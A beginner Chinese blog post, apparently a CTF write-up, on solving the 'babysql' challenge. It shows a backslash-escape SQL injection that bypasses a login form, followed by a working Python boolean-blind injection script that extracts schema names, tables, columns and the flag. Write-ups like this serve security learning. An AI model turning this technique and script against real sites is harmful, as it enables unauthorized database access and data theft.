sql注入(入门)

本专栏记录一些比赛中遇到的基础sql题目, 适合初学者阅读

极客大挑战 babysql

进去之后是个登录框,


image.png

随便输入用户密码,提示用户密码错误


image.png

尝试万能密码,发现单引号被过滤了


image.png

我们尝试使用反斜杠去做这道题:


image.png

image.png

注入成功, 使用反斜杠的原理是利用其转义作用, 这种方法一般用在闭合方式为单引号, 且单引号被过滤的情况, 试想一下, 如果sql语句为:
select name, password from user where name='{a}' and password='{b}';
而a=admin\, 反斜杠是不是将后面的单引号转义为普通字符单引号, 原sql就剩下三个单引号, 上式中
name="{a}' and password="
我们在令b=or 2 > 1 #, #会将最后一个单引号注释掉, 我们的代码就会被执行了。
原理说清楚了, 下面开始肝题吧, 这道题很明显是要做bool盲注, 注入点找到了, 下面我直接上脚本:

import requests
from urllib import parse
s = requests.Session()
url = 'http://47.100.242.70:4339/index.php'
flag = ''

def exp(i, j):
   #爆库
    payload = f"or (ascii(substr((SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA),{i},1))>{j})#"
     #爆表
    payload = f"or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='flag'),{i},1))>{j})#"
   #爆字段
    payload = f"or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='fllag'),{i},1))>{j})#"
     #爆段内容
    payload = f"or (ascii(substr((select group_concat(fllllllag) from flag.fllag),{i},1))>{j})#"
    #payload = f"or 2>1#"
    #payload = parse.quote(payload)
    data = {
        "uname": "admin\\",
        "pwd": payload
    }
    
    r = s.post(url, data=data)
    if "your uname:admin and your pwd:123456" in r.text:
        return True
    else:
        return False

for i in range(1, 5000):
    low = 32 
    high = 127
    while (low <= high):
        mid = (low + high)//2
        if (exp(i, mid)):
            low = mid + 1
        else:
            high = mid - 1
    flag += chr((low+high+1)//2)
    print("flag: ", flag)

按照步骤运行一遍就行了。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。